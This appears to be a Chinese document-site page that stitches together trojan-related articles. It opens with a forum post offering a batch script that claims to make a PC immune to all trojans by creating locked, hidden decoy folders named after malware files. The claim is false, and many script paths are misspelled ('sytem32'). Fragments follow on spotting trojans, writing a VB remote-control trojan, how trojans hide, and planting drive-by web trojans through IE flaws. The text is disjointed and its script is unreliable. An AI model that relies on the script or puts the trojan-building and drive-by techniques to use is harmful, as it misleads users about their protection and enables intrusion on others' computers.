1个简单的批处理让你的电脑免疫所有木马病毒

1个简单的批处理让你的电脑免疫所有木马病毒（申精）

管理提醒：本帖被九头龙从软件分享移动到本区(2009-07-27)

为了编写这这个批处理程序，本人整整研究了1个多星期，终于完成了，给大家分享。不发附件，我要的是让大家都可以分享这个好程序。我把原代码发上来！

觉得的好的，只需要帮我顶下帖子就行！谢谢！！

@echo off

color 0a

echo ******************************************************************************

echo * *

echo * 现在进行机器狗免疫*

echo * *

echo ******************************************************************************

md C:\WINDOWS\system32\wxptdi.sys 2>nul

md C:\WINDOWS\system32\wxptdi.sys\1..\ 2>nul

md C:\WINDOWS\system32\fat32.sys 2>nul

md C:\WINDOWS\system32\fat32.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\ati32srv.sys 2>nul

md C:\WINDOWS\system32\drivers\ati32srv.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcibus.sys 2>nul

md C:\WINDOWS\system32\drivers\pcibus.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcidisk.sys 2>nul

md C:\WINDOWS\system32\drivers\pcidisk.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pcihdd.sys 2>nul

md C:\WINDOWS\system32\drivers\pcihdd.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\phy.sys 2>nul

md C:\WINDOWS\system32\drivers\phy.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\pop.sys 2>nul

md C:\WINDOWS\system32\drivers\pop.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\puid.sys 2>nul

md C:\WINDOWS\system32\drivers\puid.sys\1..\ 2>nul

md C:\WINDOWS\system32\drivers\usb32k.sys 2>nul

md C:\WINDOWS\system32\drivers\usb32k.sys\1..\ 2>nul

md C:\WINDOWS\system32\2dogkiller.sys 2>nul

md C:\WINDOWS\system32\2dogkiller.sys\1..\ 2>nul

attrib C:\WINDOWS\system32\wxptdi.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\fat32.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\ati32srv.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcidisk.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcihdd.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\phy.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pop.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\puid.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\usb32k.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\2dogkiller.sys +s +h +r +a 2>nul

attrib C:\WINDOWS\system32\drivers\pcibus.sys +s +h +r +a 2>nul

echo y|cacls C:\WINDOWS\system32\2dogkiller.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\usb32k.sys /d everyone2 >nul echo y|cacls C:\WINDOWS\system32\drivers\puid.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\pop.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\phy.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\pcihdd.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\pcidisk.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\pcibus.sys /d everyone 2>nul echo y|cacls C:\WINDOWS\system32\drivers\ati32srv.sys /d everyone 2>nul

echo y|cacls C:\WINDOWS\system32\wxptdi.sys /d everyone 2>nul

echo ********************************************************************************* echo * *

echo * 免疫完成*

echo * *

echo ********************************************************************************* echo ********************************************************************************* echo * *

echo * 现在进行机器狗小马免疫*

echo * *

echo ********************************************************************************* md c:\windows\system32\bqtldzlu.exe 2>nul

md c:\windows\system32\diynpis.exe 2>nul

md c:\windows\system32\dndsioc.exe 2>nul

md c:\windows\sytem32\fewqickd.exe 2>nul

md c:\windows\sytem32\fmschif.exe 2>nul

md c:\windows\sytem32\fmsjhif.exe 2>nul

md c:\windows\sytem32\hefcndy.exe 2>nul

md c:\windows\sytem32\hgeazpkc.exe 2>nul

md c:\windows\sytem32\anistio.exe 2>nul

md c:\windows\sytem32\anittio.exe 2>nul

md c:\windows\sytem32\isndctio.exe 2>nul

md c:\windows\sytem32\juejwcx.exe 2>nul

md c:\windows\sytem32\nbnwewd.exe 2>nul

md c:\windows\sytem32\ptshell.exe 2>nul

md c:\windows\sytem32\uiwcaqws.exe 2>nul

md c:\windows\sytem32\wipxcdec.exe 2>nul

md c:\windows\sytem32\wrew2ds.exe 2>nul

attrib c:\windows\system32\bqtldzlu.exe +s +r +h +a 2>nul

attrib c:\windows\system32\diynpis.exe +s +r +h +a 2>nul

attrib c:\windows\system32\dndsioc.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fewqickd.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fmschif.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\fmsjhif.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\hefcndy.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\hgeazpkc.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\anistio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\anittio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\isndctio.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\juejwcx.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\nbnwewd.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\ptshell.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\uiwcaqws.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\wipxcdec.exe +s +r +h +a 2>nul

attrib c:\windows\sytem32\wrew2ds.exe +s +r +h +a 2>nul

attrib c:\windows\system32\ytewcxzsw.exe +s +r +h +a 2>nul echo y|cacls c:\windows\system32\bqtldzlu.exe /d everyone 2>nul echo y|cacls c:\windows\system32\diynpis.exe /d everyone 2>nul echo y|cacls c:\windows\system32\dndsioc.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\fewqickd.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\fmschif.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\fmsjhif.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\hefcndy.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\hgeazpkc.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\anistio.exe /d everyone 2>nul echo y|cacls c:\windows\sytem32\anittio.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\juejwcx.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\nbnwewd.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\ptshell.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\uiwcaqws.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\wipxcdec.exe /d everyone 2>nul

echo y|cacls c:\windows\sytem32\wrew2ds.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\ytewcxzsw.exe /d everyone 2>nul

echo *********************************************************************************

echo * *

echo * 免疫完成*

echo * *

echo *********************************************************************************

echo * *

echo * 进行Auto免疫*

echo * *

echo *********************************************************************************

for %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%a:\auto.exe >nul 2>nul

for %%h in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%h:\auto.exe\1..\ >nul 2>nul

for %%b in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%b:\autorun.inf >nul 2>nul

for %%g in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%g:\autorun.inf\1..\ >nul 2>nul

for %%c in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%c:\auto.exe +s +h +r +a >nul 2>nul

for %%d in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%d:\autorun.inf +s +h +r +a >nul 2>nul

for %%e in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo y|cacls %%e:\auto.exe /d everyone >nul 2>nul

for %%f in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo Y|cacls %%f:\autorun.inf /d everyone

echo ********************************************************************************* echo * *

echo * 免疫完成*

echo * *

echo ********************************************************************************* echo ******************************************************************************* echo * *

echo * 现在进行IGM免役 *

echo * *

echo ******************************************************************************* md c:\windows\IGW.exe 2>nul

md c:\windows\AVPSrv.exe 2>nul

md c:\windows\DiskMan32.exe 2>nul

md c:\windows\IGM.exe 2>nul

md c:\windows\Kvsc3.exe 2>nul

md c:\windows\lqvytv.exe 2>nul

md c:\windows\MsIMMs32.exe 2>nul

md c:\windows\system32\3CEBCAF.exe 2>nul

md c:\windows\system32\racvsvc.exe 2>nul

md c:\windows\nvdispdrv.exe 2>nul

md c:\windows\dbghlp32.exe 2>nul

md c:\windows\system32\drivers\svchost.exe 2>nul

md c:\windows\system32\a.exe 2>nul

md c:\windows\upxdnd.exe 2>nul

md c:\windows\WinForm.exe 2>nul

md c:\windows\system32\rsjzbpm.dll 2>nul

md c:\windows\system32\cmdbcs.dll 2>nul

md c:\windows\system32\upxdnd.dll 2>nul

md c:\windows\nvdispdrv.exe 2>nul

md c:\windows\49400MM.DLL 2>nul

md c:\windows\338448WO.dll 2>nul

md c:\windows\235780MM.dll 2>nul

md c:\windows\235780WO.DLL 2>nul

attrib c:\windows\IGW.exe +s +r +h +a 2>nul

attrib c:\windows\AVPSrv.exe +s +r +h +a 2>nul

attrib c:\windows\DiskMan32.exe +s +r +h +a 2>nul

attrib c:\windows\IGM.exe +s +r +h +a 2>nul

attrib c:\windows\Kvsc3.exe +s +r +h +a 2>nul

attrib c:\windows\lqvytv.exe +s +r +h +a 2>nul

attrib c:\windows\MsIMMs32.exe +s +r +h +a 2>nul

attrib c:\windows\system32\3CEBCAF.exe +s +r +h +a 2>nul attrib c:\windows\system32\racvsvc.exe +s +r +h +a 2>nul

attrib c:\windows\nvdispdrv.exe +s +r +h +a 2>nul

attrib c:\windows\dbghlp32.exe +s +r +h +a 2>nul

attrib c:\windows\system32\drivers\svchost.exe +s +r +h +a 2>nul attrib c:\windows\system32\a.exe +s +r +h +a 2>nul

attrib c:\windows\upxdnd.exe +s +r +h +a 2>nul

attrib c:\windows\WinForm.exe +s +r +h +a 2>nul

attrib c:\windows\system32\rsjzbpm.dll +s +r +h +a 2>nul

attrib c:\windows\system32\cmdbcs.dll +s +r +h +a 2>nul

attrib c:\windows\system32\upxdnd.dll +s +r +h +a 2>nul

attrib c:\windows\system32\yfmtdiouaf.dll +s +r +h +a 2>nul attrib c:\windows\nvdispdrv.exe +s +r +h +a 2>nul

attrib c:\windows\49400MM.DLL +s +r +h +a 2>nul

attrib c:\windows\338448WO.dll +s +r +h +a 2>nul

attrib c:\windows\235780WO.DLL +s +r +h +a 2>nul

echo y|cacls c:\windows\235780MM.dll /d everyone 2>nul

echo y|cacls c:\windows\235780WO.DLL /d everyone 2>nul

echo y|cacls c:\windows\338448WO.dll /d everyone 2>nul

echo y|cacls c:\windows\49400MM.DLL /d everyone 2>nul

echo y|cacls c:\windows\nvdispdrv.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\yfmtdiouaf.dll /d everyone 2>nul

echo y|cacls c:\windows\system32\upxdnd.dll /d everyone 2>nul

echo y|cacls c:\windows\WinForm.exe /d everyone

echo y|cacls c:\windows\system32\cmdbcs.dll /d everyone 2>nul

echo y|cacls c:\windows\system32\rsjzbpm.dll /d everyone 2>nul

echo y|cacls c:\windows\upxdnd.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\a.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\drivers\svchost.exe /d everyone 2>nul echo y|cacls c:\windows\dbghlp32.exe /d everyone 2>nul

echo y|cacls c:\windows\nvdispdrv.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\racvsvc.exe /d everyone 2>nul

echo y|cacls c:\windows\system32\3CEBCAF.exe /d everyone 2>nul

echo y|cacls c:\windows\lqvytv.exe /d everyone 2>nul

echo y|cacls c:\windows\MsIMMs32.exe /d everyone 2>nul

echo y|cacls c:\windows\Kvsc3.exe /d everyone 2>nul

echo y|cacls c:\windows\IGM.exe /d everyone 2>nul

echo y|cacls c:\windows\DiskMan32.exe /d everyone 2>nul

echo y|cacls c:\windows\AVPSrv.exe /d everyone 2>nul

echo y|cacls c:\windows\IGW.exe /d everyone 2>nul

echo ********************************************************************************* echo * *

echo * 免疫完成*

echo * *

echo *********************************************************************************

echo * *

echo * 现在进行AV免疫*

echo * *

echo *********************************************************************************

for %%x in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%x:\hfhludy.exe >nul 2>nul

for %%y in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do md %%y:\hfhludy.exe\1..\ >nul 2>nul

for %%r in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do attrib %%r:\hfhludy.exe +s +h +r +a >nul 2>nul

for %%u in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do echo y|cacls %%u:\hfhludy.exe /d everyo ne >nul 2>nul

echo *********************************************************************************

echo * *

echo * 免疫完成*

echo * *

echo *********************************************************************************

echo * *

echo * 现在进行病毒下载器免疫*

echo * *

echo *********************************************************************************

md c:\windows\system32\conime.exe.tmp2 2>nul

attrib c:\windows\system32\conime.exe.tmp2 +s +h +r +a 2>nul

echo y|cacls c:\windows\system32\conime.exe.tmp2 /d everyone 2>nul

echo *********************************************************************************

echo * *

echo * 免疫完成*

echo * *

echo *********************************************************************************

echo * *

echo * 枯柳树制作*

echo * QQ:491111404 *

echo * *

echo *********************************************************************************

pause

复制粘贴到TXT文本文档里，保存后更改扩展名为 BAT就可以了！！！

最后说1句，大家学习黑客技术是为了更好的保护自己，而不去恶意的破坏别人的电脑。投机取巧是不可行的。所谓“魔高1尺，道高1仗”愿天下所有的电脑远离病毒。拥有1个永远健康的电脑！！！

1个简单的批处理让你的电脑免疫所有木马病毒

1个简单的批处理让你的电脑免疫所有木马病毒为了编写这这个批处理程序，本人整整研究了1个多星期，终于完成了，给大家分享。不发附件，因为下载要钱的，我要的是让大家都可以免费获得这个好程序。我把原代码发上来！觉得的好的，只需要帮我顶下帖子就行！谢谢！！ @echo off color 0a echo ****************************************************************************** echo * * echo * 现在进行机器狗免疫 * echo * * echo ****************************************************************************** md C:\WINDOWS\system32\wxptdi.sys 2>nul md C:\WINDOWS\system32\wxptdi.sys\1..\ 2>nul md C:\WINDOWS\system32\fat32.sys 2>nul md C:\WINDOWS\system32\fat32.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\ati32srv.sys 2>nul md C:\WINDOWS\system32\drivers\ati32srv.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\pcibus.sys 2>nul md C:\WINDOWS\system32\drivers\pcibus.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\pcidisk.sys 2>nul md C:\WINDOWS\system32\drivers\pcidisk.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\pcihdd.sys 2>nul md C:\WINDOWS\system32\drivers\pcihdd.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\phy.sys 2>nul md C:\WINDOWS\system32\drivers\phy.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\pop.sys 2>nul md C:\WINDOWS\system32\drivers\pop.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\puid.sys 2>nul md C:\WINDOWS\system32\drivers\puid.sys\1..\ 2>nul md C:\WINDOWS\system32\drivers\usb32k.sys 2>nul md C:\WINDOWS\system32\drivers\usb32k.sys\1..\ 2>nul md C:\WINDOWS\system32\2dogkiller.sys 2>nul md C:\WINDOWS\system32\2dogkiller.sys\1..\ 2>nul attrib C:\WINDOWS\system32\wxptdi.sys +s +h +r +a 2>nul attrib C:\WINDOWS\system32\fat32.sys +s +h +r +a 2>nul attrib C:\WINDOWS\system32\drivers\ati32srv.sys +s +h +r +a 2>nul attrib C:\WINDOWS\system32\drivers\ati32srv.sys +s +h +r +a 2>nul attrib C:\WINDOWS\system32\drivers\pcidisk.sys +s +h +r +a 2>nul attrib C:\WINDOWS\system32\drivers\pcihdd.sys +s +h +r +a 2>nul

查木马的简单方法

查木马的简单方法当前最为常见的木马通常是基于TCP/UDP协议进行client端与server端之间的通讯的，既然利用到这两个协议，就不可避免要在server端（就是被种了木马的机器了）打开监听端口来等待连接。例如鼎鼎大名的冰河使用的监听端口是7626，Back Orifice 2000则是使用54320等等。那么，我们可以利用查看本机开放端口的方法来检查自己是否被种了木马或其它黑客程序。以下是详细方法介绍。 1．Windows本身自带的netstat命令关于netstat命令，我们先来看看windows帮助文件中的介绍： Netstat 显示协议统计和当前的TCP/IP 网络连接。该命令只有在安装了TCP/IP 协议后才可以使用。 netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval] 参数 -a 显示所有连接和侦听端口。服务器连接通常不显示。 -e 显示以太网统计。该参数可以与-s 选项结合使用。 -n 以数字格式显示地址和端口号（而不是尝试查找名称）。 -s 显示每个协议的统计。默认情况下，显示TCP、UDP、ICMP 和IP 的统计。-p 选项可以用来指定默认的子集。 -p protocol 显示由protocol 指定的协议的连接；protocol 可以是tcp 或udp。如果与-s 选项一同使用显示每个协议的统计，protocol 可以是tcp、udp、icmp 或ip。 -r 显示路由表的内容。 interval 重新显示所选的统计，在每次显示之间暂停interval 秒。按CTRL+B 停止重新显示统计。如果省略该参数，netstat 将打印一次当前的配置信息。好了，看完这些帮助文件，我们应该明白netstat命令的使用方法了。现在就让我们现学现用，用这个命令看一下自己的机器开放的端口。进入到命令行下，使用netstat命令的a和n两个参数： C:\>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:21 0.0.0.0:0 LISTENING TCP 0.0.0.0:7626 0.0.0.0:0 LISTENING UDP 0.0.0.0:445 0.0.0.0:0 UDP 0.0.0.0:1046 0.0.0.0:0 UDP 0.0.0.0:1047 0.0.0.0:0

木马编程系列

木马编程系列今天我为大家讲如何用VB编写"木马"程序木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(client),服务器程序是给攻击对象用的,千万不可用错了----给自己种马的人 0 客户程序才是给自己用的,于是我们就用VB建立两个程序,一个为服务器端程序cockhorseserver,另一个为客户端程序cockhorseclient. 先在cockhorseclient程序中建立一个窗体,加载一个winsock控件,称为tcpclient,再加上两个文本框,用来输入服务器的IP地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化. 代码我写下: Private Sub Command1_Click() '调用connect方法,初始化连接. tcpclient.RemoteHost = ipinput.Text tcpclient.RemotePort = Val(portinput.Text) '这是端口号,默认为1001 tcpclient.Connect '和指定的IP相对的计算机相连接 cmdconnect.Enabled = False End Sub (在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作. Private Sub tcpclient_dataArrival(ByVal bytestotal As Long) Dim strdata As String tcpclient.GetData strdata If strdata = "test connect" Then tcpstate.Text = "connect OK" + vbNewLine + LocalIP Is ":" + -tcpclient.LocalIP + "computer name is : " + tcpclient.LocalHostName tcpstate.Text = tcpstate.Text + vbNewLine + "remote ip is :" + -tcpclient.RemoteHostIP + "computer name is : " + tcpclient.remotehostname If InStr(Trim(strdata), "closeOK?") > 0 Then tcpclient.Close End If End If txtoutput.Text = txtouput.Text + vbNewLine + tcpclient.RemoteHostIP + ": " + strdata End Sub

木马程序是如何实现隐藏的

木马程序是如何实现隐藏的木马是一种基于远程控制的病毒程序，该程序具有很强的隐蔽性和危害性，它可以在人不知鬼不觉的状态下控制你或者监视你。有人说，既然木马这么厉害，那我离它远一点不就可以了！然而这个木马实在是“淘气”，它可不管你是否欢迎，只要它高兴，它就会想法设法地闯到你“家”中来的！哎呀，那还了得，赶快看看自己的电脑中有没有木马，说不定正在“家”中兴风作浪呢！那我怎么知道木马在哪里呢，相信不熟悉木马的菜鸟们肯定想知道这样的问题。下面就是木马潜伏的诡招，看了以后不要忘记采取绝招来对付这些损招哟！ 1、集成到程序中其实木马也是一个服务器-客户端程序，它为了不让用户能轻易地把它删除，就常常集成到程序里，一旦用户激活木马程序，那么木马文件和某一应用程序捆绑在一起，然后上传到服务端覆盖原文件，这样即使木马被删除了，只要运行捆绑了木马的应用程序，木马又会被安装上去了。绑定到某一应用程序中，如绑定到系统文件，那么每一次Windows启动均会启动木马。 2、隐藏在配置文件中木马实在是太狡猾，知道菜鸟们平时使用的是图形化界面的操作系统，对于那些已经不太重要的配置文件大多数是不闻不问了，这正好给木马提供了一个藏身之处。而且利用配置文件的特殊作用，木马很容易就能在大家的计算机中运行、发作，从而偷窥或者监视大家。不过，现在这种方式不是很隐蔽，容易被发现，所以在Autoexec.bat和Config.sys中加载木马程序的并不多见，但也不能因此而掉以轻心哦。 3、潜伏在Win.ini中木马要想达到控制或者监视计算机的目的，必须要运行，然而没有人会傻到自己在自己的计算机中运行这个该死的木马。当然，木马也早有心理准备，知道人类是高智商的动物，不会帮助它工作的，因此它必须找一个既安全又能在系统启动时自动运行的地方，于是潜伏在Win.ini中是木马感觉比较惬意的地方。大家不妨打开Win.ini来看看，在它的[windows]字段中有启动命令“load=”和“run=”，在一般情况下“＝”后面是空白的，如果有后跟程序，比方说是这个样子：run=c:\windows\file.exe load=c:\windows\file.exe 这时你就要小心了，这个file.exe很可能是木马哦。 4、伪装在普通文件中这个方法出现的比较晚，不过现在很流行，对于不熟练的windows操作者，很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图

网页木马制作全过程(详细)

如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。一、网页木马的攻击原理首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中 “https://www.360docs.net/doc/33353325.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。把这段代码插入到网页源代码的…之间（如图1），然后用没打补丁的IE6打开，接下来，打开IE的临时目录，

用python写的简单病毒(无害)资料

计算机病毒实验报告姓名：郭莎莎学号： 201306043023 培养类型：技术类年级： 2013级专业：信息安全所属学院：计算机学院指导教员：龙军职称：教授实验室：实验日期： 2016.7.3 国防科学技术大学训练部制

《本科实验报告》填写说明 1．学员完成人才培养方案和课程标准要所要求的每个实验后，均须提交实验报告。 2．实验报告封面必须打印，报告内容可以手写或打印。 3．实验报告内容编排及打印应符合以下要求：（1）采用A4（21cm×29.7cm）白色复印纸，单面黑字打印。上下左右各侧的页边距均为3cm；缺省文档网格：字号为小4号，中文为宋体，英文和阿拉伯数字为Times New Roman，每页30行，每行36字；页脚距边界为2.5cm，页码置于页脚、居中，采用小5号阿拉伯数字从1开始连续编排，封面不编页码。（2）报告正文最多可设四级标题，字体均为黑体，第一级标题字号为3号，其余各级标题为4号；标题序号第一级用“一、”、“二、”……，第二级用“（一）”、“（二）” ……，第三级用“1.”、“2.”……，第四级用“（1）”、“（2）” ……，分别按序连续编排。（3）正文插图、表格中的文字字号均为5号。

实验题目 Python病毒功能实现目录一、实验目的 (4) 二、实验内容 (4) 三、实验原理 (4) （一）Linux病毒 (4) 1.Linux病毒的发展史 (4) 2.Linux平台下的病毒分类 (5) （二）文件型病毒 (6) 1.感染COM文件： (6) 2．感染EXE文件： (6) （三）python文件 (7) 四、实验所需软硬件 (8) 五、实验步骤 (8) （一）程序框架 (8) 1.传播感染模块 (8) 2.备份模块 (9) 3.触发和破坏模块 (9) （二）具体实现 (9) （三）结果截屏 (11) 六、实验结果与分析 (12) 七、思考与总结 (12)

教你如何识别进程中的木马程序

任何病毒和木马存在于系统中，都无法彻底和进程脱离关系，即使采用了隐藏技术，也还是能够从进程中找到蛛丝马迹，因此，查看系统中活动的进程成为我们检测病毒木马最直接的方法。但是系统中同时运行的进程那么多，哪些是正常的系统进程，哪些是木马的进程，而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?请看本文。病毒进程隐藏三法当我们确认系统中存在病毒，但是通过“任务治理器”查看系统中的进程时又找不出异样的进程，这说明病毒采用了一些隐藏措施，总结出来有三法： 1.以假乱真系统中的正常进程有：svchost.exe、explorer.exe、iexplore.exe、winLOGOn.exe等，可能你发现过系统中存在这样的进程：svch0st.exe、explore.exe、iexplorer.exe、winlogin.exe。对比一下，发现区别了么?这是病毒经常使用的伎俩，目的就是迷惑用户的眼睛。通常它们会将系统中正常进程名的o改为0，l改为i，i改为j，然后成为自己的进程名，仅仅一字之差，意义却完全不同。又或者多一个字母或少一个字母，例如explorer.exe和iexplore.exe本来就轻易搞混，再出现个iexplorer.exe就更加混乱了。假如用户不仔细，一般就忽略了，病毒的进程就逃过了一劫。 2.偷梁换柱假如用户比较心细，那么上面这招就没用了，病毒会被就地正法。于是乎，病毒也学聪明了，懂得了偷梁换柱这一招。假如一个进程的名字为svchost.exe，和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢?非也，其实它只是利用了“任务治理器”无法查看进程对应可执行文件这一缺陷。我们知道svchost.exe进程对应的可执行文件位于“C:\WINDOWS\system32”目录下(Windows2000则是C:\WINNT\system32目录)，假如病毒将自身复制到“C:\WINDOWS\”中，并改名为svchost.exe，运行后，我们在“任务治理器”中看到的也是svchost.exe，和正常的系统进程无异。你能辨别出其中哪一个是病毒的进程吗? 3.借尸还魂除了上文中的两种方法外，病毒还有一招终极大法——借尸还魂。所谓的借尸还魂就是病毒采用了进程插入技术，将病毒运行所需的dll文件插入正常的系统进程中，表面上看无任何可疑情况，实质上系统进程已经被病毒控制了，除非我们借助专业的进程检测工具，如卡卡助手中的功能，否则要想发现隐藏在其中的病毒是很困难的。系统进程解惑上文中提到了很多系统进程，这些系统进程到底有何作用，其运行原理又是什么?下面我们将对这些系统进程进行逐一讲解，相信在熟知这些系统进程后，就能成功破解病毒的“以假乱真”和“偷梁换柱”了。 svchost.exe

实验1-木马病毒攻防

南昌航空大学实验报告二〇一三年十一月八日课程名称：信息安全实验名称：实验1木马攻击与防范班级：xxx 姓名：xxx 同组人：指导教师评定：签名：一、实验目的通过对木马的练习，使读者理解和掌握木马传播和运行的机制；通过手动删除木马，掌握检查木马和删除木马的技巧，学会防御木马的相关知识，加深对木马的安全防范意识。二、实验原理木马的全称为特洛伊木马，源自古希腊神话。木马是隐藏在正常程序中的具有特殊功能的恶意代码，是具备破坏、删除和修改文件、发送密码、记录键盘、实施DOS攻击甚至完全控制计算机等特殊功能的后门程序。它隐藏在目标计算机里，可以随计算机自动启动并在某一端口监听来自控制端的控制信息。 1．木马的特性木马程序为了实现其特殊功能，一般应该具有以下性质： (1)伪装性(2)隐藏性(3)破坏性(4)窃密性 2．木马的入侵途径木马入侵的主要途径是通过一定的欺骗方法，如更改图标、把木马文件与普通文件合并，欺骗被攻击者下载并执行做了手脚的木马程序，就会把木马安装到被攻击者的计算机中。木马也可以通过Script、ActiveX及ASP、CGI交互脚本的方式入侵，攻击者可以利用浏览器的漏洞诱导上网者单击网页，这样浏览器就会自动执行脚本，实现木马的下载和安装。木马还可以利用系统的一些漏洞入侵，获得控制权限，然后在被攻击的服务器上安装并运行木马。3．木马的种类 (1)按照木马的发展历程，可以分为4个阶段：第1代木马是伪装型病毒；第2代木马是网络传播型木马；第3代木马在连接方式上有了改进，利用了端口反弹技术，例如灰鸽子木马；第4代木马在进程隐藏方面做了较大改动，让木马服务器端运行时没有进程，网络操作插入到系统进程或者应用进程中完成，例如广外男生木马。 (2)按照功能分类，木马又可以分为：破坏型木马；密码发送型木马；服务型木马；DOS 攻击型木马；代理型木马；远程控制型木马。 4．木马的工作原理下面简单介绍一下木马的传统连接技术、反弹端口技术和线程插入技术。 